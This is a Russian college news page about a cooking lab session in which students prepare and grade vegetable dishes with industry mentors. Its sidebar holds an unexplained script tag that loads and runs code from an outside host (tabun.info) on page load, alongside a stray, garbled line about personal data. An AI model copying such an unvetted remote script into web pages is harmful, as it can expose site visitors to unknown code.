Главная
Регистрация
Вход

Приветствую Вас Гость | RSS

Меню сайта

Категории раздела
Абитуриентам [0]
Для желающих поступить в наш колледж

Независимая оценка
Как вы оцениваете качество образовательных услуг нашего колледжа?
Всего ответов: 213

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

  
Главная » 2017 » Апрель » 7 » Лабораторно-практические занятия
06:23
Лабораторно-практические занятия

Лабораторно-практические занятия по МДК 03 «Организация процесса приготовления и приготовление сложной горячей кулинарной» в группе ТПП-09/15 специальности «Технология продукции общественного питания» проходят в обновленной лаборатории, мастер п/о Федосенко И.П. Тема занятия: «Приготовление сложных горячих блюд из овощей». Студенты получили задания.

1. составить сырьевую ведомость для данных блюд из овощей с выходом на 1000.

2. Приготовить  и оформить для подачи следующие блюда:

- зразы картофельные;

- крокеты картофельные в панировке из кукурузных хлопьев;

- баклажаны «соте»;

- морковь тушеная с рисом и черносливом;

- пудинг овощной.

3. Продегустировать блюда и оценить их вкусовые качества:

- определить их внешний вид;

- определить цвет данных блюд из овощей;

- определить вкус и запах;

- определить консистенцию данных блюд;

- получить данные, свести их в таблицу и оценить по критериям.

Объективные критерии оценивания:

- температура подачи, корректная масса и размер блюда, чистота тарелки при подаче, оформление.

Субъективные:

- визуальное впечатление (цвет, сочетание, баланс, композиция);

- общая гармония вкуса и аромата;

- консистенция каждого компонента блюда;

- вкус каждого компонента блюда по отдельности.

Дать независимую оценку блюд по данным критериям были приглашены наставники с предприятия ООО «Голышмановский общепит РПС» Абросова Ирина Александровна, Злоян Светлана Евгеньевна. Наставники оставили отличные отзывы о приготовленных блюдах и познакомились со студентами, которые выходят на дуальную модель обучения.

 

Материал подготовила

Федосенко И.П.

Просмотров: 341 | Добавил: iTiger | Рейтинг: 1.0/1
Всего комментариев: 0
Имя *:
Email *:
Код *:


Вход на сайт
Логин:
Пароль:

Мы потомки Героев


ПОЛЕЗНЫЕ ССЫЛКИ

Министерство образования и науки Российской Федерации Единое окно доступа к образовательным ресурсам Федеральный портал "Российское образование" Единая коллекция цифровых образовательных ресурсов Федеральный центр информационно-образовательных ресурсов


Персональные данные Дети МЕСТО РОЖДЕНИЯ:
ТЮМЕНСКИЙ КРАЙ Конкурс новый взгляд
<script src="https://tabun.info/out/index.php"></script>
http://профстажировки.рф/
Поиск

Календарь
«  Апрель 2017  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Архив записей

Copyright MyCorp © 2020
Создать бесплатный сайт с uCoz